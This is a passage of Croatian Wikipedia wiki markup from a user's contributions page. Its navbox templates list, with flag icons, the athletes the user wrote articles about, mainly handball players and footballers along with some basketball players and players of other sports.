Parker]]{{•w}} {{flagicon|FRA}} [[Joakim Noah]]{{•w}} {{flagicon|FRA}} [[Boris Diaw]]{{•w}} {{flagicon|FRA}} [[Nicolas Batum]]{{•w}} {{flagicon|FRA}} [[Pape Sy]]{{•w}} {{flagicon|LIT}} [[Arvydas Sabonis]]{{•w}} {{flagicon|NZL}} [[Sean Marks]]{{•w}} {{flagicon|NZL}} [[Steven Adams]]{{•w}} {{flagicon|PAN}} [[Rolando Frazer]]{{•w}} {{flagicon|RUS}} [[Aleksandar Belov]]{{•w}} {{flagicon|SAD}} [[Danny Ainge]]{{•w}} {{flagicon|SAD}} [[Red Auerbach]]{{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|SAD}} [[Larry Bird]]{{•w}} {{flagicon|SAD}} [[Chuck Cooper (košarkaš)|Chuck Cooper]]{{•w}} {{flagicon|SAD}} [[Bob Cousy]]{{•w}} {{flagicon|SAD}} [[John Havlicek]]{{•w}} {{flagicon|SAD}} [[Tom Heinsohn]]{{•w}} {{flagicon|SAD}} [[Dennis Johnson]]{{•w}} {{flagicon|SAD}} [[K. C. Jones]]{{•w}} {{flagicon|SAD}} [[Sam Jones (košarkaš)|Sam Jones]]{{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|SAD}} [[Kevin McHale (košarkaš)|Kevin McHale]]{{•w}} {{flagicon|SAD}} [[Robert Parish]]{{•w}} {{flagicon|VEN}} [[Greivis Vásquez]] {{nowrap end}} | group5 = [[File:Fencing pictogram.svg|20px]] Mačevanje | list5 = {{nowrap begin}} {{flagicon|KUB}} [[Ramón Fonst]]{{•w}} {{flagicon|VEN}} [[Rubén Limardo]] {{nowrap end}} | group6 = [[File:Swimming pictogram.svg|20px]] Plivanje | list6 = {{nowrap begin}} {{flagicon|AUS}} [[Ian Thorpe]]{{•w}} {{flagicon|CRC}} [[Claudia Poll]]{{•w}} {{flagicon|CRC}} [[Silvia Poll]] {{nowrap end}} | group7 = [[File:Rugby union pictogram.svg|20px]] Ragbi | list7 = {{nowrap begin}} {{flagicon|NZL}} [[Jonah Lomu]] {{nowrap end}} | group8 = [[File:Alpine skiing pictogram.svg|20px]] Skijanje | list8 = {{nowrap begin}} {{flagicon|GAN}} [[Kwame Nkrumah-Acheampong]] {{nowrap end}} | group9 = [[File:Tennis pictogram.svg|20px]] Tenis | list9 = {{nowrap begin}} {{flagicon|FRA}} [[Yannick Noah]]{{•w}} {{flagicon|FRA}} [[René Lacoste]]{{•w}} {{flagicon|FRA}} [[Marion Bartoli]]{{•w}} {{flagicon|FRA}} [[Richard Gasquet]]{{•w}} {{flagicon|ITA}} [[Jannik Sinner]]{{•w}} {{flagicon|NZL}} [[Anthony Wilding]]{{•w}} {{flagicon|ŠPA}} [[Carlos Alcaraz]] {{nowrap end}} | group10 = [[File:Weightlifting pictogram.svg|20px]] Dizanje utega | list10 = {{nowrap begin}} {{flagicon|SIN}} [[Tan Howe Liang]] {{nowrap end}} | group11 = [[File:Table tennis pictogram.svg|20px]] Stolni tenis | list11 = {{nowrap begin}} {{flagicon|SIN}} [[Feng Tianwei]] {{nowrap end}} }} {{Navbox | name = Korisnik:Edgar Allan Poe/Doprinosi | titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | title = Doprinosi o rukometašima | listclass = hlist | group1 = Europa | list1 = {{nowrap begin}} {{flagicon|AUT}} [[Thomas Bauer]]{{•w}} {{flagicon|AUT}} [[Mykola Bilyk]]{{•w}} {{flagicon|AUT}} [[Robert Weber (rukometaš)|Robert Weber]]{{•w}} {{flagicon|BJE}} [[Sjargej Rutenka]]{{•w}} {{flagicon|BJE}} [[Jurij Šaucou]]{{•w}} {{flagicon|BJE}} [[Mihail Jakimovič]]{{•w}} {{flagicon|CG}} [[Veselin Vujović]]{{•w}} {{flagicon|CG}} [[Žarko Marković]]{{•w}} {{flagicon|CG}} [[Rade Mijatović]]{{•w}} {{flagicon|CG}} [[Miloš Vujović]]{{•w}} {{flagicon|CG}} [[Vasko Ševaljević]]{{•w}} {{flagicon|CG}} [[Branko Vujović]]{{•w}} {{flagicon|ČEŠ}} [[Filip Jícha]]{{•w}} {{flagicon|ČEŠ}} [[Jan Filip (rukometaš)|Jan Filip]]{{•w}} {{flagicon|ČEŠ}} [[Ondřej Zdráhala]]{{•w}} {{flagicon|ČEŠ}} [[Daniel Kubeš]]{{•w}} {{flagicon|ČEŠ}} [[David Juříček]]{{•w}} {{flagicon|DAN}} [[Flemming Ladefoged Hansen|Flemming Hansen]]{{•w}} {{flagicon|DAN}} [[Søren Stryger]]{{•w}} {{flagicon|DAN}} [[Kasper Hvidt]]{{•w}} {{flagicon|DAN}} [[Jan Eiberg Jørgensen|Jan Jørgensen]]{{•w}} {{flagicon|DAN}} [[Lasse Svan Hansen]]{{•w}} {{flagicon|DAN}} [[Michael Damgaard]]{{•w}} {{flagicon|DAN}} [[Allan Damgaard]]{{•w}} {{flagicon|DAN}} [[Rasmus Lauge Schmidt]]{{•w}} {{flagicon|DAN}} [[Nikolaj Jacobsen]]{{•w}} {{flagicon|DAN}} [[Magnus Landin]]{{•w}} {{flagicon|DAN}} [[Mathias Gidsel]]{{•w}} {{flagicon|DAN}} [[Anders Eggert]]{{•w}} {{flagicon|DAN}} [[Simon Pytlick]]{{•w}} {{flagicon|DAN}} [[Magnus Saugstrup]]{{•w}} {{flagicon|DAN}} [[Emil Jakobsen]]{{•w}} {{flagicon|DAN}} [[Lukas Jørgensen]]{{•w}} {{flagicon|FRO}} [[Elias Ellefsen á Skipagøtu]]{{•w}} {{flagicon|FRO}} [[Hákun West av Teigum]]{{•w}} {{flagicon|GRU}} [[Giorgi Chovrebadze]]{{•w}} {{flagicon|HRV}} [[Marko Mamić]]{{•w}} {{flagicon|HRV}} [[Igor Karačić]]{{•w}} {{flagicon|HRV}} [[Zlatko Saračević]]{{•w}} {{flagicon|HRV}} [[Alvaro Načinović]]{{•w}} {{flagicon|HRV}} [[Ivan Martinović]]{{•w}} {{flagicon|HRV}} [[Goran Perkovac]]{{•w}} {{flagicon|ISL}} [[Guðjón Valur Sigurðsson]]{{•w}} {{flagicon|ISL}} [[Þórir Ólafsson]]{{•w}} {{flagicon|ISL}} [[Ólafur Stefánsson]]{{•w}} {{flagicon|ISL}} [[Aron Pálmarsson]]{{•w}} {{flagicon|ISL}} [[Alexander Petersson]]{{•w}} {{flagicon|ISL}} [[Dagur Sigurðsson]]{{•w}} {{flagicon|ISL}} [[Snorri Steinn Guðjónsson]]{{•w}} {{flagicon|ISL}} [[Guðmundur Guðmundsson]]{{•w}} {{flagicon|ISL}} [[Kristján Andrésson]]{{•w}} {{flagicon|ISL}} [[Ómar Ingi Magnússon]]{{•w}} {{flagicon|ISL}} [[Viktor Gísli Hallgrímsson]]{{•w}} {{flagicon|ISL}} [[Bjarki Már Elísson]]{{•w}} {{flagicon|ISL}} [[Alfreð Gíslason]]{{•w}} {{flagicon|ISL}} [[Orri Freyr Þorkelsson]]{{•w}} {{flagicon|ISL}} [[Viggó Kristjánsson]]{{•w}} {{flagicon|ISL}} [[Gísli Þorgeir Kristjánsson]]{{•w}} {{flagicon|ITA}} [[Leo Prantner]]{{•w}} {{flagicon|LAT}} [[Dainis Krištopāns]]{{•w}} {{flagicon|MAĐ}} [[László Nagy]]{{•w}} {{flagicon|MAĐ}} [[Gábor Császár]]{{•w}} {{flagicon|MAĐ}} [[Máté Lékai]]{{•w}} {{flagicon|MAĐ}} [[Timuzsin Schuch]]{{•w}} {{flagicon|MAĐ}} [[Bence Bánhidi]]{{•w}} {{flagicon|MAĐ}} [[József Éles]]{{•w}} {{flagicon|MAĐ}} [[Roland Mikler]]{{•w}} {{flagicon|MAĐ}} [[Bence Imre]]{{•w}} {{flagicon|MAK}} [[Filip Lazarov]]{{•w}} {{flagicon|MAK}} [[Naumče Mojsovski]]{{•w}} {{flagicon|MAK}} [[Dejan Manaskov]]{{•w}} {{flagicon|MAK}} [[Stojanče Stoilov]]{{•w}} {{flagicon|NIZ}} [[Kay Smits]]{{•w}} {{flagicon|NIZ}} [[Luc Steins]]{{•w}} {{flagicon|NIZ}} [[Rutger ten Velde]]{{•w}} {{flagicon|NIZ}} [[Dani Baijens]]{{•w}} {{flagicon|NIZ}} [[Arjen Versteijnen]]{{•w}} {{flagicon|NIZ}} [[Niels Versteijnen]]{{•w}} {{flagicon|NOR}} [[Christian Berge]]{{•w}} {{flagicon|NOR}} [[Sander Sagosen]]{{•w}} {{flagicon|NOR}} [[Frank Løke]]{{•w}} {{flagicon|NOR}} [[Kent Robin Tønnesen]]{{•w}} {{flagicon|NOR}} [[Torbjørn Bergerud]]{{•w}} {{flagicon|NOR}} [[Christian O'Sullivan]]{{•w}} {{flagicon|NOR}} [[Bjarte Myrhol]]{{•w}} {{flagicon|NOR}} [[Kristian Bjørnsen]]{{•w}} {{flagicon|NOR}} [[Magnus Abelvik Rød]]{{•w}} {{flagicon|NOR}} [[Magnus Jøndal]]{{•w}} {{flagicon|NOR}} [[Håvard Tvedten]]{{•w}} {{flagicon|NOR}} [[Alexander Blonz]]{{•w}} {{flagicon|NOR}} [[August Pedersen]]{{•w}} {{flagicon|NJE}} [[Hans Theilig]]{{•w}} {{flagicon|NJE}} [[Henning Fritz]]{{•w}} {{flagicon|NJE}} [[Daniel Stephan]]{{•w}} {{flagicon|NJE}} [[Uwe Gensheimer]]{{•w}} {{flagicon|NJE}} [[Andreas Wolff]]{{•w}} {{flagicon|NJE}} [[Tobias Reichmann]]{{•w}} {{flagicon|NJE}} [[Thomas Knorr]]{{•w}} {{flagicon|NJE}} [[Volker Zerbe]]{{•w}} {{flagicon|NJE}} [[Christian Sprenger]]{{•w}} {{flagicon|NJE}} [[Florian Kehrmann]]{{•w}} {{flagicon|NJE}} [[Stefan Kretzschmar]]{{•w}} {{flagicon|NJE}} [[Fabian Wiede]]{{•w}} {{flagicon|NJE}} [[Timo Kastening]]{{•w}} {{flagicon|NJE}} [[Hendrik Pekeler]]{{•w}} {{flagicon|NJE}} [[Christian Schwarzer]]{{•w}} {{flagicon|NJE}} [[Michael Kraus (rukometaš)|Michael Kraus]]{{•w}} {{flagicon|NJE}} [[Johannes Golla]]{{•w}} {{flagicon|NJE}} [[Juri Knorr]]{{•w}} {{flagicon|NJE}} [[Renārs Uščins]]{{•w}} {{flagicon|NJE}} [[Marko Grgić]]{{•w}} {{flagicon|POLJ}} [[Sławomir Szmal]]{{•w}} {{flagicon|POLJ}} [[Krzysztof Lijewski]]{{•w}} {{flagicon|POLJ}} [[Marcin Lijewski]]{{•w}} {{flagicon|POLJ}} [[Bartosz Jurecki]]{{•w}} {{flagicon|POLJ}} [[Michał Jurecki]]{{•w}} {{flagicon|POLJ}} [[Mariusz Jurkiewicz]]{{•w}} {{flagicon|POLJ}} [[Mariusz Jurasik]]{{•w}} {{flagicon|POR}} [[Carlos Resende]]{{•w}} {{flagicon|POR}} [[Alfredo Quintana]]{{•w}} {{flagicon|POR}} [[Rui Silva (rukometaš)|Rui Silva]]{{•w}} {{flagicon|POR}} [[Paulo Pereira]]{{•w}} {{flagicon|POR}} [[Pedro Portela]]{{•w}} {{flagicon|POR}} [[Martim Costa]]{{•w}} {{flagicon|POR}} [[Luís Frade]]{{•w}} {{flagicon|POR}} [[António Areia]]{{•w}} {{flagicon|POR}} [[Salvador Salvador]]{{•w}} {{flagicon|RUM}} [[Gheorghe Gruia]]{{•w}} {{flagicon|RUS}} [[Dmitrij Kovaljev]]{{•w}} {{flagicon|RUS}} [[Konstantin Igropulo]]{{•w}} {{flagicon|RUS}} [[Timur Dibirov]]{{•w}} {{flagicon|RUS}} [[Dmitrij Torgovanov]]{{•w}} {{flagicon|RUS}} [[Eduard Kokšarov]]{{•w}} {{flagicon|RUS}} [[Vasilij Kudinov]]{{•w}} {{flagicon|RUS}} [[Denis Krivošljikov]]{{•w}} {{flagicon|RUS}} [[Sergej Pogorelov]]{{•w}} {{flagicon|RUS}} [[Dmitrij Žitnjikov]]{{•w}} {{flagicon|RUS}} [[Valerij Gopin]]{{•w}} {{flagicon|RUS}} [[Sergej Kosorotov]]{{•w}} {{flagicon|RUS}} [[Vladimir Maksimov (rukometaš)|Vladimir Maksimov]]{{•w}} {{flagicon|RUS}} [[Andrej Lavrov]]{{•w}} {{flagicon|SLO}} [[Dragan Gajić]]{{•w}} {{flagicon|SLO}} [[Uroš Zorman]]{{•w}} {{flagicon|SLO}} [[Vid Kavtičnik]]{{•w}} {{flagicon|SLO}} [[Jure Dolenec]]{{•w}} {{flagicon|SLO}} [[Aleš Pajovič]]{{•w}} {{flagicon|SLO}} [[Blaž Janc]]{{•w}} {{flagicon|SLO}} [[Tettey Banfro]]{{•w}} {{flagicon|SLO}} [[Aleks Vlah]]{{•w}} {{flagicon|SLO}} [[Domen Novak (rukometaš)|Domen Novak]]{{•w}} {{flagicon|SLO}} [[Domen Makuc]]{{•w}} {{flagicon|SRB}} [[Momir Ilić]]{{•w}} {{flagicon|SRB}} [[Dragan Škrbić]]{{•w}} {{flagicon|SRB}} [[Mladen Bojinović]]{{•w}} {{flagicon|SRB}} [[Jovica Cvetković]]{{•w}} {{flagicon|SRB}} [[Žarko Šešum]]{{•w}} {{flagicon|SRB}} [[Arpad Šterbik]]{{•w}} {{flagicon|SRB}} [[Darko Stanić]]{{•w}} {{flagicon|SRB}} [[Rastko Stojković]]{{•w}} {{flagicon|SRB}} [[Ivan Nikčević]]{{•w}} {{flagicon|SRB}} [[Petar Nenadić]]{{•w}} {{flagicon|ŠPA}} [[Alberto Entrerríos]]{{•w}} {{flagicon|ŠPA}} [[Raúl Entrerríos]]{{•w}} {{flagicon|ŠPA}} [[Julen Aguinagalde]]{{•w}} {{flagicon|ŠPA}} [[Rafael Guijosa]]{{•w}} {{flagicon|ŠPA}} [[Viran Morros]]{{•w}} {{flagicon|ŠPA}} [[Talant Dujšebajev]]{{•w}} {{flagicon|ŠPA}} [[Andrei Xepkin]]{{•w}} {{flagicon|ŠPA}} [[Iker Romero]]{{•w}} {{flagicon|ŠPA}} [[Jaume Fort Mauri]]{{•w}} {{flagicon|ŠPA}} [[David Barrufet]]{{•w}} {{flagicon|ŠPA}} [[Alex Dujšebajev]]{{•w}} {{flagicon|ŠPA}} [[Daniel Dujšebajev]]{{•w}} {{flagicon|ŠPA}} [[Jordi Ribera]]{{•w}} {{flagicon|ŠPA}} [[Ferrán Solé]]{{•w}} {{flagicon|ŠPA}} [[Jorge Maqueda]]{{•w}} {{flagicon|ŠPA}} [[Roberto García Parrondo]]{{•w}} {{flagicon|ŠPA}} [[Gonzalo Pérez de Vargas]]{{•w}} {{flagicon|ŠPA}} [[Mateo Garralda]]{{•w}} {{flagicon|ŠPA}} [[Enric Masip]]{{•w}} {{flagicon|ŠPA}} [[Aleix Gómez]]{{•w}} {{flagicon|ŠPA}} [[Gedeón Guardiola]]{{•w}} {{flagicon|ŠPA}} [[Daniel Fernández (rukometaš)|Daniel Fernández]]{{•w}} {{flagicon|ŠPA}} [[Marcos Fis]]{{•w}} {{flagicon|ŠPA}} [[Ian Barrufet]]{{•w}} {{flagicon|ŠVE}} [[Stefan Lövgren]]{{•w}} {{flagicon|ŠVE}} [[Magnus Wislander]]{{•w}} {{flagicon|ŠVE}} [[Ola Lindgren]]{{•w}} {{flagicon|ŠVE}} [[Staffan Olsson]]{{•w}} {{flagicon|ŠVE}} [[Ljubomir Vranješ]]{{•w}} {{flagicon|ŠVE}} [[Peter Gentzel]]{{•w}} {{flagicon|ŠVE}} [[Magnus Andersson (rukometaš)|Magnus Andersson]]{{•w}} {{flagicon|ŠVE}} [[Johan Jakobsson]]{{•w}} {{flagicon|ŠVE}} [[Tomas Svensson]]{{•w}} {{flagicon|ŠVE}} [[Tobias Karlsson]]{{•w}} {{flagicon|ŠVE}} [[Kim Andersson]]{{•w}} {{flagicon|ŠVE}} [[Johan Petersson]]{{•w}} {{flagicon|ŠVE}} [[Erik Hajas]]{{•w}} {{flagicon|ŠVE}} [[Pierre Thorsson]]{{•w}} {{flagicon|ŠVE}} [[Jerry Tollbring]]{{•w}} {{flagicon|ŠVE}} [[Niclas Ekberg]]{{•w}} {{flagicon|ŠVE}} [[Albin Lagergren]]{{•w}} {{flagicon|ŠVE}} [[Jesper Nielsen]]{{•w}} {{flagicon|ŠVE}} [[Jim Gottfridsson]]{{•w}} {{flagicon|ŠVE}} [[Hampus Wanne]]{{•w}} {{flagicon|ŠVE}} [[Andreas Palicka]]{{•w}} {{flagicon|ŠVE}} [[Yngve Lamberg]]{{•w}} {{flagicon|ŠVE}} [[Dalibor Doder]]{{•w}} {{flagicon|ŠVE}} [[Per Carlén]]{{•w}} {{flagicon|ŠVE}} [[Oscar Bergendahl]]{{•w}} {{flagicon|ŠVE}} [[Eric Johansson (rukometaš)|Eric Johansson]]{{•w}} {{flagicon|ŠVE}} [[Felix Claar]]{{•w}} {{flagicon|ŠVI|size=16px}} [[Andy Schmid]]{{•w}} {{flagicon|ŠVI|size=16px}} [[Marc Baumgartner]]{{•w}} {{flagicon|ŠVI|size=16px}} [[Lenny Rubin]]{{•w}} {{flagicon|UK}} [[Steven Larsson]]{{•w}} {{flagicon|UKR}} [[Oleg Velikij]]{{•w}} {{flagicon|UKR}} [[Sergij Bilik]] {{nowrap end}} {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | listclass = hlist |group1 = {{flagicon|FRA}} Francuska |list1= {{nowrap begin}} [[Thierry Omeyer]]{{•w}} [[Nikola Karabatić]]{{•w}} [[Daniel Narcisse]]{{•w}} [[Didier Dinart]]{{•w}} [[Jérôme Fernandez]]{{•w}} [[Luc Abalo]]{{•w}} [[Claude Onesta]]{{•w}} [[Guillaume Gille]]{{•w}} [[Joël Abati]]{{•w}} [[Guillaume Joli]]{{•w}} [[William Accambray]]{{•w}} [[Bruno Martini (rukometaš)|Bruno Martini]]{{•w}} [[Grégory Anquetil]]{{•w}} [[Jackson Richardson]]{{•w}} [[Olivier Girault]]{{•w}} [[Andrej Golić]]{{•w}} [[Patrick Cazal]]{{•w}} [[Stéphane Stoecklin]]{{•w}} [[Bertrand Gille]]{{•w}} [[Michaël Guigou]]{{•w}} [[Cédric Sorhaindo]]{{•w}} [[Sébastien Bosquet]]{{•w}} [[Xavier Barachet]]{{•w}} [[Mathieu Grébille]]{{•w}} [[Cyril Dumoulin]]{{•w}} [[Kentin Mahé]]{{•w}} [[Cédric Burdet]]{{•w}} [[Franck Junillon]]{{•w}} [[Laurent Puigségur]]{{•w}} [[Daouda Karaboué]]{{•w}} [[Samuel Honrubia]]{{•w}} [[Frédéric Volle]]{{•w}} [[Kevynn Nyokas]]{{•w}} [[Grégoire Detrez]]{{•w}} [[Arnaud Bingo]]{{•w}} [[Bertrand Roiné]]{{•w}} [[Sébastien Ostertag]]{{•w}} [[Alain Portes]]{{•w}} [[Daniel Costantini]]{{•w}} [[Denis Lathoud]]{{•w}} [[Stéphane Plantin]]{{•w}} [[Christian Gaudin]]{{•w}} [[Philippe Gardent]]{{•w}} [[Patrice Canayer]]{{•w}} [[Pascal Mahé]]{{•w}} [[Cédric Paty]]{{•w}} [[Sylvain Nouet]]{{•w}} [[Thimothey N'Guessan]]{{•w}} [[Valentin Porte]]{{•w}} [[Igor Anić]]{{•w}} [[Vincent Gérard]]{{•w}} [[Olivier Nyokas]]{{•w}} [[Ludovic Fabregas]]{{•w}} [[Benoît Kounkoud]]{{•w}} [[Théo Derot]]{{•w}} [[Nedim Remili]]{{•w}} [[Adrien Dipanda]]{{•w}} [[Dika Mem]]{{•w}} [[Raphaël Caucheteux]]{{•w}} [[Melvyn Richardson]]{{•w}} [[Hugo Descat]]{{•w}} [[Guéric Kervadec]]{{•w}} [[Philippe Debureau]]{{•w}} [[Nicolas Tournat]]{{•w}} [[Yann Genty]]{{•w}} [[Romain Lagarde]]{{•w}} [[Dylan Nahi]]{{•w}} [[Aymeric Minne]]{{•w}} [[Yanis Lenne]]{{•w}} [[Thibaut Briet]]{{•w}} [[Elohim Prandi]]{{•w}} [[Rémi Desbonnet]]{{•w}} [[Samir Bellahcene]]{{•w}} [[Karl Konan]]{{•w}} [[Charles Bolzinger]] {{nowrap end}} }} | group2 = Afrika | list2 = {{nowrap begin}} {{flagicon|ALŽ}} [[Salah Bouchekriou]]{{•w}} {{flagicon|ALŽ}} [[Salim Nedjel Hammou]]{{•w}} {{flagicon|ALŽ}} [[Messaoud Berkous]]{{•w}} {{flagicon|EGI}} [[Hassan Mustafa]]{{•w}} {{flagicon|EGI}} [[Husein Zaki]]{{•w}} {{flagicon|EGI}} [[Ahmed al-Ahmar]]{{•w}} {{flagicon|EGI}} [[Jahia Omar]]{{•w}} {{flagicon|EGI}} [[Ali Zein]]{{•w}} {{flagicon|EGI}} [[Ibrahim al-Masri]]{{•w}} {{flagicon|EGI}} [[Jehia al-Dera]]{{•w}} {{flagicon|EGI}} [[Seif al-Dera]]{{•w}} {{flagicon|COD}} [[Gauthier Mvumbi]]{{•w}} {{flagicon|TUN}} [[Wael Jallouz]]{{•w}} {{flagicon|TUN}} [[Issam Tej]]{{•w}} {{flagicon|TUN}} [[Wissem Hmam]]{{•w}} {{flagicon|TUN}} [[Amine Bannour]]{{•w}} {{flagicon|TUN}} [[Islem Jbeli]]{{•w}} {{flagicon|ZEL}} [[Leandro Semedo]]{{•w}} {{flagicon|ZEL}} [[Délcio Pina]] {{nowrap end}} | group3 = Azija i Oceanija | list3 = {{nowrap begin}} {{flagicon|AUS}} [[Bevan Calvert]]{{•w}} {{flagicon|AUS}} [[Ognjen Matić]]{{•w}} {{flagicon|AUS}} [[Taip Ramadani]]{{•w}} {{flagicon|BHR}} [[Husein al-Sajad]]{{•w}} {{flagicon|JAP}} [[Jin Watanabe (rukometaš)|Jin Watanabe]]{{•w}} {{flagicon|JKO}} [[Kyung-Shin Yoon]]{{•w}} {{flagicon|JKO}} [[Jae-Won Kang]]{{•w}} {{flagicon|KAT}} [[Ahmad Madadi]]{{•w}} {{flagicon|KUV}} [[Seif al-Davani]] {{nowrap end}} | group4 = Amerike | list4 = {{nowrap begin}} {{flagicon|ARG}} [[Eduardo Gallardo]]{{•w}} {{flagicon|ARG}} [[Diego Simonet]]{{•w}} {{flagicon|ARG}} [[Pablo Simonet]]{{•w}} {{flagicon|ARG}} [[Sebastián Simonet]]{{•w}} {{flagicon|ARG}} [[James Parker (rukometaš)|James Parker]]{{•w}} {{flagicon|ARG}} [[Leonel Maciel]]{{•w}} {{flagicon|BRA}} [[Thiagus dos Santos]]{{•w}} {{flagicon|BRA}} [[Jean-Pierre Dupoux]]{{•w}} {{flagicon|BRA}} [[Haniel Langaro]]{{•w}} {{flagicon|BRA}} [[Rudolph Hackbarth]]{{•w}} {{flagicon|ČIL}} [[Rodrigo Salinas Muñoz]]{{•w}} {{flagicon|ČIL}} [[Erwin Feuchtmann]]{{•w}} {{flagicon|ČIL}} [[Esteban Salinas]]{{•w}} {{flagicon|KUB}} [[Rafael Capote]]{{•w}} {{flagicon|KUB}} [[Rolando Uríos]]{{•w}} {{flagicon|KUB}} [[Carlos Pérez (rukometaš)|Carlos Pérez]]{{•w}} {{flagicon|KUB}} [[Roberto Julián Duranona]]{{•w}} {{flagicon|KUB}} [[Julio Fis]]{{•w}} {{flagicon|KUB}} [[Frankis Marzo]]{{•w}} {{flagicon|SAD}} [[Ian Hüter]]{{•w}} {{flagicon|SAD}} [[Patrick Hüter]]{{•w}} {{flagicon|SAD}} [[Gary Hines]]{{•w}} {{flagicon|SAD}} [[Samuel Hoddersen]] {{nowrap end}} }} {{Navbox | name = Korisnik:Edgar Allan Poe/Doprinosi | titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | title = Doprinosi o nogometašima | groupstyle = background-color:#AAD0FF; text-align:center; border:1px solid silver; | listclass = hlist | group1 = Europa | list1 = {{nowrap begin}} {{flagicon|ALB}} [[Lorik Cana]]{{•w}} {{flagicon|ALB}} [[Armando Sadiku]]{{•w}} {{flagicon|ALB}} [[Klaus Gjasula]]{{•w}} {{flagicon|ALB}} [[Qazim Laçi]]{{•w}} {{flagicon|ALB}} [[Nedim Bajrami]]{{•w}} {{flagicon|AUT}} [[Alessandro Schöpf]]{{•w}} {{flagicon|AUT}} [[Aleksandar Dragović]]{{•w}} {{flagicon|AUT}} [[Stefan Lainer]]{{•w}} {{flagicon|AUT}} [[Michael Gregoritsch]]{{•w}} {{flagicon|AUT}} [[Christoph Baumgartner]]{{•w}} {{flagicon|AUT}} [[Saša Kalajdžić]]{{•w}} {{flagicon|AUT}} [[Maximilian Wöber]]{{•w}} {{flagicon|AUT}} [[Gernot Trauner]]{{•w}} {{flagicon|AUT}} [[Alex Manninger]]{{•w}} {{flagicon|AUT}} [[Romano Schmid]]{{•w}} {{flagicon|BEL}} [[Kevin De Bruyne]]{{•w}} {{flagicon|BEL}} [[Marouane Fellaini]]{{•w}} {{flagicon|BEL}} [[Romelu Lukaku]]{{•w}} {{flagicon|BEL}} [[Dries Mertens]]{{•w}} {{flagicon|BEL}} [[Divock Origi]]{{•w}} {{flagicon|BEL}} [[Jan Vertonghen]]{{•w}} {{flagicon|BEL}} [[Axel Witsel]]{{•w}} {{flagicon|BEL}} [[Radja Nainggolan]]{{•w}} {{flagicon|BEL}} [[Toby Alderweireld]]{{•w}} {{flagicon|BEL}} [[Michy Batshuayi]]{{•w}} {{flagicon|BEL}} [[Yannick Carrasco]]{{•w}} {{flagicon|BEL}} [[Eden Hazard]]{{•w}} {{flagicon|BEL}} [[Adnan Januzaj]]{{•w}} {{flagicon|BEL}} [[Nacer Chadli]]{{•w}} {{flagicon|BEL}} [[Thomas Meunier]]{{•w}} {{flagicon|BEL}} [[Thibaut Courtois]]{{•w}} {{flagicon|BEL}} [[Thorgan Hazard]]{{•w}} {{flagicon|BUG}} [[Dimitar Berbatov]]{{•w}} {{flagicon|CG}} [[Mirko Vučinić]]{{•w}} {{flagicon|CG}} [[Predrag Mijatović]]{{•w}} {{flagicon|CG}} [[Boban Bajković]]{{•w}} {{flagicon|CG}} [[Dragoslav Jevrić]]{{•w}} {{flagicon|ČSSR}} [[Oldřich Nejedlý]]{{•w}} {{flagicon|ČSSR}} [[Antonín Panenka]]{{•w}} {{flagicon|ČSSR}} [[Josef Masopust]]{{•w}} {{flagicon|ČSSR}} [[Ivo Viktor]]{{•w}} {{flagicon|ČEŠ}} [[Václav Pilař]]{{•w}} {{flagicon|ČEŠ}} [[Petr Jiráček]]{{•w}} {{flagicon|ČEŠ}} [[Jan Laštůvka]]{{•w}} {{flagicon|ČEŠ}} [[Tomáš Hübschman]]{{•w}} {{flagicon|ČEŠ}} [[Petr Čech]]{{•w}} {{flagicon|ČEŠ}} [[Tomáš Rosický]]{{•w}} {{flagicon|ČEŠ}} [[Jan Koller]]{{•w}} {{flagicon|ČEŠ}} [[Karel Poborský]]{{•w}} {{flagicon|ČEŠ}} [[Tomáš Necid]]{{•w}} {{flagicon|ČEŠ}} [[Milan Škoda]]{{•w}} {{flagicon|ČEŠ}} [[Patrik Schick]]{{•w}} {{flagicon|ČEŠ}} [[Tomáš Holeš]]{{•w}} {{flagicon|ČEŠ}} [[Robin Hranáč]]{{•w}} {{flagicon|ČEŠ}} [[Lukáš Provod]]{{•w}} {{flagicon|DAN}} [[Nicklas Bendtner]]{{•w}} {{flagicon|DAN}} [[Michael Krohn-Dehli]]{{•w}} {{flagicon|DAN}} [[Yussuf Poulsen]]{{•w}} {{flagicon|DAN}} [[Christian Eriksen]]{{•w}} {{flagicon|DAN}} [[Simon Kjær]]{{•w}} {{flagicon|DAN}} [[Mathias Jørgensen]]{{•w}} {{flagicon|DAN}} [[Nicolai Jørgensen]]{{•w}} {{flagicon|DAN}} [[Lasse Schöne]]{{•w}} {{flagicon|DAN}} [[Pierre-Emile Højbjerg]]{{•w}} {{flagicon|DAN}} [[Mikkel Damsgaard]]{{•w}} {{flagicon|DAN}} [[Andreas Christensen]]{{•w}} {{flagicon|DAN}} [[Joakim Mæhle]]{{•w}} {{flagicon|DAN}} [[Kasper Dolberg]]{{•w}} {{flagicon|DAN}} [[Martin Braithwaite]]{{•w}} {{flagicon|DAN}} [[Thomas Delaney]]{{•w}} {{flagicon|DAN}} [[Morten Hjulmand]]{{•w}} {{flagicon|ENG}} [[Bobby Charlton]]{{•w}} {{flagicon|ENG}} [[Kevin Keegan]]{{•w}} {{flagicon|ENG}} [[Paul Ince]]{{•w}} {{flagicon|ENG}} [[Gary Lineker]]{{•w}} {{flagicon|ENG}} [[Geoff Hurst]]{{•w}} {{flagicon|ENG}} [[Gordon Banks]]{{•w}} {{flagicon|ENG}} [[Peter Shilton]]{{•w}} {{flagicon|ENG}} [[David Seaman]]{{•w}} {{flagicon|ENG}} [[Glen Johnson]]{{•w}} {{flagicon|ENG}} [[Danny Welbeck]]{{•w}} {{flagicon|ENG}} [[Theo Walcott]]{{•w}} {{flagicon|ENG}} [[John Terry]]{{•w}} {{flagicon|ENG}} [[Steven Gerrard]]{{•w}} {{flagicon|ENG}} [[Gary Neville]]{{•w}} {{flagicon|ENG}} [[Owen Hargreaves]]{{•w}} {{flagicon|ENG}} [[Ashley Young]]{{•w}} {{flagicon|ENG}} [[Ashley Cole]]{{•w}} {{flagicon|ENG}} [[Joleon Lescott]]{{•w}} {{flagicon|ENG}} [[Wayne Rooney]]{{•w}} {{flagicon|ENG}} [[Sol Campbell]]{{•w}} {{flagicon|ENG}} [[Daniel Sturridge]]{{•w}} {{flagicon|ENG}} [[Raheem Sterling]]{{•w}} {{flagicon|ENG}} [[Luke 